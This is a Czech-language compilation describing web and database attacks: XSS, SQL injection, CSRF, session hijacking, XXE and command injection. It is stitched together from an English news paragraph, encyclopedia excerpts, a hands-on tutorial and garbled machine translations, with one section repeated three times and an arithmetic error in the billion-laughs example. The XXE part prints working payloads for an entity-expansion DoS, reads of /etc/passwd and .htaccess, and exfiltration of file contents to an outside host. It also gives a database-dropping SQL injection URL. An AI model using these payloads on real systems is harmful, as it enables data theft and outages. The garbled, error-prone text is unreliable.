Databázové útoky

Meow Attack

A new attack that searches for unsecured databases and deletes the data without explanation has been found by researchers. This attack, dubbed “Meow,” due to the fact that the attacker renames databases, tables and indices by appending “-meow” to the end of the original names, was verified by BleepingComputer with the use of the Shodan search engine.

Cross-site scripting (XSS)

Cross-site scripting (XSS) je metoda narušení WWW stránek využitím bezpečnostních chyb ve skriptech (především neošetřené vstupy). Útočník díky těmto chybám v zabezpečení webové aplikace dokáže do stránek podstrčit svůj vlastní javascriptový kód, což může využít buď pouze k poškození vzhledu stránky, jejímu znefunkčnění, získávání citlivých údajů návštěvníků stránek nebo obcházení bezpečnostních prvků aplikace. Často je též využíván při a phishingu tak že je skrze XSS zranitelnosti uživateli ukázán jiný obsah na jinak důvěryhodné stránce.

SQL injection

Jste-li s popisovaným předmětem seznámeni, pomozte doložit uvedená tvrzení doplněním referencí na věrohodné zdroje. SQL injection je technika napadení databázové vrstvy programu vsunutím (odtud „injection“) kódu přes neošetřený vstup a vykonání vlastního, samozřejmě pozměněného, SQL dotazu. Toto nechtěné chování vzniká při propojení aplikační vrstvy s databázovou vrstvou (téměř vždy se totiž jedná o dva různé programy) a zabraňuje se mu pomocí jednoduchého escapování potenciálně nebezpečných znaků.

Cross-site Request Forgery (CSRF)

Cross-site Request Forgery (CSRF nebo také XSRF) je jedna z metod útoku do internetových aplikací (typicky implementovaných skriptovacími jazyky nebo CGI) pracující na bázi nezamýšleného požadavku pro vykonání určité akce v této aplikaci, který ovšem pochází z nelegitimního zdroje. Většinou se nejedná o útok směřující k získání přístupu do aplikace (i když i pro to může být zneužit); spíše využívá (zneužívá) akce uživatelů, kteří jsou k ní již v okamžiku útoku přihlášeni.

Cross-User Defacement

Cross-User Defacement je v informatice druh zranitelnosti webové aplikace založený na technice HTTP response splitting. Cílem útočníka je nahradit odpověď od serveru podvrženým dokumentem.

Escapování

Escapování (/eskejpování/, z angl. escaping) je způsob kódování řetězcových literálů. Jedná se vlastně o surjekci znaků, které se v daném řetězci mohou vyskytovat do znaků, povolených v daném jazyku, a tzv. escape sekvencí. V programovacích, skriptovacích, dotazovacích a dalších jazycích se řetězcové literály uvádějí většinou ve dvojitých, někdy též jednoduchých uvozovkách (aby se oddělily od ostatních lexikálních elementů jazyka). Pokud však uvozovky jsou samy o sobě součástí takového řetězce, syntaktický analyzátor by nedokázal rozlišit, kdy jde o uvozovku v řetězci a kdy o ukončení tohoto řetězce. Pro tento důvod existují tzv. escape sekvence.

Cache poisoning

Cache poisoning je v informatice druh zranitelnosti webové aplikace založený na technice HTTP response splitting. Cílem útočníka je přesvědčit webový prohlížeč uživatele, aby uložil určitou stránku do své cache.

HTTP response splitting

HTTP response splitting je v informatice druh zranitelnosti webové aplikace spočívající v nesprávné kontrole vstupů od uživatele. Cílem útočníka je předat webové aplikaci takové vstupy, aby došlo k rozdělení původní odpovědi serveru na více odpovědí, které může následně využít k vykonání dalších útoků (např. Cross-User Defacement, Cache poisoning, Cross-site scripting či Page Hijacking).

Auto-SQL injection

Automatizovaný útok SQL injection ohrozil desítky tisíc webových stránek s kódem, který se pokusí nahrát data-krást Trojský kůň program na počítače návštěvníků.

Útoky na autentizaci a autorizaci

Session Hijacking

Únos spojení (anglicky session hijacking nebo cookie hijacking) je v informatice označení počítačového útoku, který zneužívá HTTP cookie odcizené oběti útoku pro získání neoprávněného přístupu k informacím nebo službám poskytovaným webovým serverem.

Session Prediction

Predikce zasedání útok se zaměřuje na predikci Session ID hodnoty, které umožňují útočníkovi obejít ověřování schématu aplikace. Na základě analýzy a pochopení procesu generování ID relace, může útočník předpovědět platnou ID relace hodnotu a získat přístup k aplikaci. V prvním kroku, útočník potřebuje sbírat nějaké platné hodnoty ID relace, které se používají k identifikaci ověřených uživatelů. Potom musí pochopit strukturu ID relace, informace, které slouží k jeho vytvoření, a šifrování nebo hash algoritmus použitý aplikací chránit. Některé špatné implementace používají sezení ID složené pomocí uživatelského jména nebo jiné předvídatelné informace, jako jsou časové razítko nebo IP adresy klienta. V nejhorším případě, tato informace se používají jako prostý text, nebo kódovány pomocí některé slabé algoritmu, jako je kódování base64.  Kromě toho je útočník může provádět hrubou silou technika výroby a testovat různé hodnoty ID relace, dokud se úspěšně získá přístup k aplikaci.

Session Fixation

U fixace sezení útočník nastaví SID na hodnotu platnou pro napadeného uživatele a tu pak zašle například e-mailem jako součást odkazu napadenému uživateli a čeká, až uživatel klikne na webový odkaz a přihlásí se. Zaslané SID se stane platným a útočník ho může použít.

Session Donation

 

Cross-site scripting (XSS)

Cross-site scripting (XSS) je metoda narušení WWW stránek využitím bezpečnostních chyb ve skriptech (především neošetřené vstupy). Útočník díky těmto chybám v zabezpečení webové aplikace dokáže do stránek podstrčit svůj vlastní javascriptový kód, což může využít buď pouze k poškození vzhledu stránky, jejímu znefunkčnění, získávání citlivých údajů návštěvníků stránek nebo obcházení bezpečnostních prvků aplikace. Často je též využíván při a phishingu tak že je skrze XSS zranitelnosti uživateli ukázán jiný obsah na jinak důvěryhodné stránce.

Fyzické zkopírování SID

Útočník může získat SID prostým zkopírováním souboru s cookie z uživatelova počítače (cookie jsou typicky uložena jako běžné soubory), zkopírováním části operační paměti počítače nějakým nežádoucím programem nebo zkopírováním SID přímo z napadeného webového serveru.

Session sidejacking

U session sidejacking útočník odposlouchává nešifrovanou síťovou komunikaci mezi prohlížečem a webovým serverem pomocí analyzátoru síťového provozu. Mnoho webových stránek používá pro přihlášení (tj. pro přenos uživatelského jména a hesla) přenos zabezpečený pomocí HTTPS, ale následná komunikace již probíhá nešifrovaně, a tak je možné přidělené SID snadno získat. Útočník tak získá identitu napadeného uživatele i bez toho, aby bylo prozrazeno přihlašovací jméno a heslo. Útok je velmi snadné provést například při připojení pomocí nešifrovaných veřejných Wi-Fi hotspotů.

Databáze XML zranitelnosti

Cross-site scripting (XSS)

Cross-site scripting (XSS) je metoda narušení WWW stránek využitím bezpečnostních chyb ve skriptech (především neošetřené vstupy). Útočník díky těmto chybám v zabezpečení webové aplikace dokáže do stránek podstrčit svůj vlastní javascriptový kód, což může využít buď pouze k poškození vzhledu stránky, jejímu znefunkčnění, získávání citlivých údajů návštěvníků stránek nebo obcházení bezpečnostních prvků aplikace. Často je též využíván při a phishingu tak že je skrze XSS zranitelnosti uživateli ukázán jiný obsah na jinak důvěryhodné stránce.

Server-Side Request Forgery

Další možností, kterou externí entity útočníkům nabízí, je zasílání požadavků ze strany serveru na další zařízení Server Side Request Forgery (SSRF). Jako zdroj externí entity totiž můžete bez problému použít také HTTP(S) protokol, nebo i různé další síťové protokoly, viz. odstavec wrappers. K čemu to může být útočníkovy dobré? Řekněme, že by útočník našel na nějakém internetovém serveru zranitelnost typu SQL injection, která umožňuje smazat celou databázi odesláním následujícího požadavku: http://www.aplikace.cz/action?q='; drop database();-- Útočník v tomto případě může jako zdroj externí entity uvést právě zmíněnou adresu a světe div se, databazáze bude vymazána a v logu zůstane jako strůjce útoku uveden webový server, jehož parser zpracovával upravený XML dokument.

Wrappers

O zneužití protokolů http:// nebo file:// u externích entit jsme se již zmínili. Tyto protokoly ovšem nejsou jedinými prostředky, kterými externí entity mohou přistupovat k datům. V případě PHP jsou podporovány všechny následující wrappery, viz. PHP manuál.

file://
http://
ftp://
php://
zlib://
data://
glob://
phar://
ssh2://
rar://
ogg://
expect://

Pro útočníka z nich budou mít zřejmě nejzásadnější význam wrappery php:// a expect://.

Full Path Disclosure

Odhalení plné cesty ke skriptu, který se stará o parsování XML je tou nejjednodušší variantou útoku. Celou akci můžete bez výčitek klidně svěřit svému mladšímu (dvouletému) bráškovi. Stačí, když jej požádáte, aby párkrát udeřil svou drobnou pěstičkou do klávesnice, a vy pak jen vzniklý galimatiáš odentrujete. Jste-li ovšem šťastnými majiteli dražšího ultrabooku za několik desítek tisíc, nebo má-li váš bráška už ve dvou letech ruku jako Hulk, pak bych možná zvolil poněkud šetrnější variantu a narušil bych strukturu XML souboru mírumilovnější formou.

FPD je totiž postaveno na skutečnosti, že serveru odešlete jakákoliv nevalidní data. Pro jednoduchost stačí například odmazat, nebo naopak přidat nějakou tu ostrou závorku. Parser, který nebude schopen váš XML požadavek zpracovat, o sobě dá pravděpodobně dost hlasitě vědět, přičemž na vás bude řvát nějaké ty urážky o vaší neschopnosti předložit mu data očekávaného formátu. Díky své užvaněnosti ale parser mimo jiné utrousí i nějakou tu zmínku o svém umístění, a o to nám během FPD šlo. V našem případě se tak dozvíme, že skript, který je zodpovědný za zpracování XML dokumentu se jmenuje getcontent.php, je umístěn v adresáři /mnt/swraid/data/h/hackingvpraxi.cz/webmail/articles/, a že obsah XML dokumentu je zpracováván PHP funkcí simplexml_load_file(). Co víc si přát...

Chybových hlášek je ale možné využít i jinak. Z reakcí serveru se můžeme dozvědět například to, zda nějaký soubor existuje, zda je k dispozici přístup k požadovaným vzdáleným zdrojům, apd. Chybové hlášky vám proto doporučuji vždy důkladně prozkoumat, protože mohou poskytnout velice důležité indicie, o nichž se později ještě určitě zmíním.

DoS (rekurzí s lokálními entitami)

Když jsme se bavili o interních entitách, nezmínil jsem se ještě o jedné zajímavé vlastnosti, kterou je možné využít. Touto vlastností je vnořování entit, což znamená, že do obsahu jedné entity můžete vložit entitu jinou. Na tuto vlastnost se nyní zaměříme z pohledu DoS útoku.

Ukažme si na jednoduchém příkladu, o jakém zanořování to vlastně mluvím. Mějme XML dokument, ve kterém si vytvoříme entitu pro křestní jméno a entitu pro příjmení. Následně nám nic nebrání vytvořit entitu pro celé jméno, v jejíž definici využijeme dříve definované entity pro jméno a příjmení.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE contacts [
<!ENTITY krestny "Karel">
<!ENTITY prijmeni "Novotný">
<!ENTITY celejmeno "&krestny; &prijmeni;">
]>
<contacts>
<contact>
<login>&krestny;</login>
<name>&celejmeno;</name>
</contact>
</contacts>

Nyní si představte následující případ, kdy do sebe budeme zanořovat entity rekurzivně do velké hloubky.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Poslední definovaná entita lol19 v sobě nakonec bude zahrnovat 1010 = miliardu řetězců "lol". Je zřejmé, že to docela ovlivní zdroje serveru, a co teprve, pokud bychom provedli další zanořování.

Náš parser v PHP si s tímto ovšem poradí a ohlásí chybu "parser error : Detected an entity reference loop", že není možné vnořovat tímto způsobem. Parsery v některých jiných jazycích ovšem dokáže tento vstup docela spolehlivě položit.

Local File Disclosure

V tuto chvíli se již přesuneme od interních entit k entitám externím, které je možné zneužít s mnohem vážnějšími dopady.

Připomeňme si ukázku externí entity z úvodu tohoto článku:

<!DOCTYPE root [
<!ENTITY entita SYSTEM "note.txt">
]>
<root>
<element>Toto je: &entita;</element>
</root>

Je vidět, že parser načetl soubor z disku a vložil jej do svého výstupu. Co kdyby ale útočník ve svém XML požadavku uvedl soubor, ke kterému běžně nemá jako uživatel aplikace přístup, ale parser k němu přístup má? Takovým souborem může být například starý známý /etc/passwd z unixových distribucí nebo třeba C:\install.ini z Windows.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE contacts [
<!ENTITY entita SYSTEM "C:/install.ini">
]>
<contacts>
<contact>
<login>soubor</login>
<name>&entita;</name>
</contact>
</contacts>

Poznámka: Uvedenou variantu si bohužel nemáte možnost vyzkoušet na našem testovacím webmailu, takže buď budete muset použít vlastní pískoviště, nebo se budete muset spokojit s následujícím videem.

Co si ale můžete vyzkoušet i v našem webmailu, je přečtení obsahu souboru .htaccess, ke kterému byste se normálně rovněž neměli dostat.

Z chybové zprávy, kterou vám zobrazil parser v odstavci o Full Path Disclosure jste se mimojiné dozvěděli také celou cestu ke skriptu, takže ji nyní můžete použít k dalším pokusům a soubor .htaccess z kořene webu se můžete pokusit načíst takto:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE contacts [
<!ENTITY entita SYSTEM "file:///mnt/swraid/data/h/hackingvpraxi.cz/webmail/.htaccess">
]>
<contacts>
<contact>
<login>soubor</login>
<name>&entita;</name>
</contact>
</contacts>

V příkladu si můžete všimnout, že jsme pro načtení souboru použili protokolu File://, který slouží k přístupu na filesystém, a jehož uvedení je většinou nutné.

Problém vyvstává ve chvíli, kdy se pokusíte načíst obsah souboru obsahující znaky ostrých závorek. Protože se parser pokusí o zpracování souboru, skončí celá akce s největší pravděpodobností chybou. Na to, že byste tímto způsobem načítali například obsah souboru index.php, proto rovnou zapomeňte. Nechci tím ovšem říci, že by přečtení podobných souborů nebylo možné, jen k tomu budeme muset přistoupit trochu jinak. O této variantě se ale zmíním až v odstavci věnovaném wrapperům.

DoS (načítáním speciálních souborů)

DoS (načítáním speciálních souborů)

O jedné z možností, jak na serveru způsobit odepření služeb (DoS), jsme si již říkali. Nyní se pojďme podívat na další možnost, která ke stejnému cíli zneužívá externí entity. Není nutné se zde nějak zdlouhavě rozepisovat, protože celý útok je opět velice jednoduchý a jeho princip je na první pohled zřejmý. Stačí, aby se útočník pokusil načíst do obsahu externí entity některý ze speciálních souborů, jako jsou:

/dev/random
/dev/zero

<!ENTITY entita SYSTEM "/dev/random">

Send Local File Content

Odeslání lokálního obsahu útočníkovi

Parametrické entity

Setkat se můžete také s parametrickými entitami, které jsou obdobou entit, s nimiž jsme se již seznámili. Rozdíl je snad pouze v tom, že se před název entity přidává znak procenta a jejich použití je vázáno pouze na DTD část XML dokumentu.

Podle informací uvedených v tomto dokumentu trpěla například webová aplikace Shopify XXE zranitelností, při které bylo možné zneužít parametrické entity k odeslání obsahu lokálního souboru na server útočníka.

Exploit, jehož obsah je zobrazen v následujícím výpisu, fungoval na principu vnořování entit, kdy se obsah jedné entity (v tomto případě obsah /etc/passwd) předal do druhé entity jako parametr dotazu.

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM
"http://www.securatary.com/x=%payload;">'> %param1; %external;

V PHP mi uvedený postup vrací chybu „parser error : PEReferences forbidden in internal subset“ a já tak nemohu uvedený postup demonstrovat. Teoreticky je ovšem možné, že tento postup bude stále funkční v jiných parserech a vzhledem k jeho genialitě, kdy je možné ze serveru získat uložený obsah, bez toho, aby se XML dokument musel reflektovat na výstup stránky.

Poznámka: Entity použité v závěru exploitu %param1; a %external; jsou uvedeny proto, aby se jejich obsah vykonal. Bez jejich uvedení by nedošlo k odeslání požadavku.

Client Local File Disclosure

XXE na straně uživatele

Externích entit je možné zneužít nejen na straně serveru, ale někdy také na straně koncových uživatelů. Aplikace běžící na straně uživatele totiž mohou rovněž obsahovat XML parsery, které externí entity zpracují. V minulosti tomu tak bylo například u webového prohlížeče Safari. Útočník v tom případě může připravit XML soubor, který odešle obsah lokálního souboru uživatele na server útočníka, ve chvíli, kdy uživatel otevře náchylným programem k tomuto účelu připravený XML dokument.

Command Execution

Vstřikování Command je útok, ve kterém cílem je spuštění libovolného příkazů v hostitelském operačním systému přes zranitelné aplikace. Vstřikování Command útoky jsou možné, když aplikace předává nebezpečné uživatelem dodaná data (formuláře, sušenky, HTTP hlavičky atd) na systémové shellu. V tomto útoku, příkazy operačního systému dodané útočníkem se obvykle provádějí s právy zranitelné aplikace. Vstřikování Command útoky jsou možné z velké části kvůli nedostatečné ověřování vstupu.

Tento útok se liší od kódu injekce, v tom, že kód injekce dovolí útočníkovi přidat svůj vlastní kód, který je pak proveden aplikací. V kódu Injection, útočník rozšiřuje standardní funkčnost aplikace bez nutnosti spouštění příkazů systému.

Data Injection

Data injekce (nebo vložení dat) nastává, když vstupní pole jsou zaplněny s kontrolními nebo příkazových sekvencí vložených různými způsoby, které jsou nicméně akceptovaných aplikací, případně předány do operačního systému, které umožňují privilegovaných škodlivé a nepovolené programy, které mají být spuštěn na vzdálený systém.

Web parameters tampering

Útok Web Parameter Podvádění je založena na manipulaci s parametrů vyměňované mezi klientem a serverem, aby se změnilo aplikačních dat, jako jsou pověření uživatele a povolení, cena a množství produktů, atd Obvykle se tyto informace jsou uloženy v cookies, skryté formě pole, nebo URL Query Strings, a používá se pro zvýšení funkčnosti aplikace a kontrolu. Tento útok může být provedena škodlivý uživatele, který chce využít žádosti o jejich vlastní prospěch, nebo útočníkovi, který chce zaútočit na třetí osoba používající útoku man-in-the-middle. V obou případech, nářadí rád Web Scarab a Paros Proxy se většinou používají. Úspěch Útok závisí na integritě a mechanismus logiku validace chyby, a jeho využití může mít za následek další důsledky, včetně XSS, SQL Injection, začlenění souboru a zveřejňování cesta útoky.

Clickjacking

Clickjacking je způsob útoku na uživatele webových stránek, při kterém uživatel nějakou činností na zdánlivě neškodné stránce (např. kliknutím na tlačítko či obrázek) spustí akci, kterou nepředpokládal. Tato technika využívá zranitelnost, která se vyskytuje ve většině stávajících prohlížečů na všech platformách.

SQL Truncation

SQL Zkrácení zranitelnost je velmi zajímavý chyba v databázi. Úspěšné využití této problematiky vede k uživatelskému účtu kompromisu, protože to znamená, že útočník může získat přístup všichni uživatelé účtu s jeho vlastním heslem. Zní to zajímavě! Nejdříve se budeme vidět, proč k tomuto problému dochází v databázi. V případě, že vstupní hodnoty uživatel není pro ověřování jeho délky, pak se zkrácení chyba může vzniknout. Pokud MySQL běží ve výchozím nastavení, účet správce jako admin, sloupec databáze je omezena na 20 znaků.

Incesure Direct Object References

Přímý odkaz na objekt je pravděpodobně dojít, když vývojář vystavuje odkaz na vnitřní implementace objektu, jako je například soubor, adresář nebo databázového klíče bez ověřovací mechanismus, který umožní útočníkům manipulovat s tyto odkazy pro přístup k neoprávněným dat.

Command Execution

Příkaz injekce nebo také známý jako vzdálené spuštění kódu, pokud jde o webové vykořisťování, může být možné do určité webové stránky akceptuje přidanou řetězce znaků nebo argumentů; vstupy jsou používány jako argumenty pro provedení příkazu v hosting serveru webových stránek. Tak dělat to další obyčejný webových aplikací chybu zabezpečení, která umožňuje útočníkovi spustit libovolný kód v systému. Ve skutečnosti to je zahrnuta v OWASP (Open Web Application Security Project) Top Ten Web Application bezpečnostní rizika.

Code Execution

V bezpečnosti počítače, spuštění kódu se používá k popisu schopnosti útočníka vykonat všechny příkazy k výběru útočníka na cílovém počítači nebo v cílovém procesu. To je běžně používané v spuštění kódu zranitelnost popsat softwarová chyba, která dává útočník způsob, jak spustit libovolný kód. Program, který je navržen tak, aby zneužití této zranitelnosti se nazývá spuštění kódu zneužít. Většina z těchto chyb zabezpečení umožňuje provedení strojového kódu a většina využije proto aplikovat a spustit shell kód dát útočník snadný způsob, jak ručně spustit libovolné příkazy. Schopnost spuštění libovolného spuštění kódu z jednoho počítače na jiný (zejména přes rozlehlou síť jako je Internet) je často označován jako vzdálené spuštění kódu.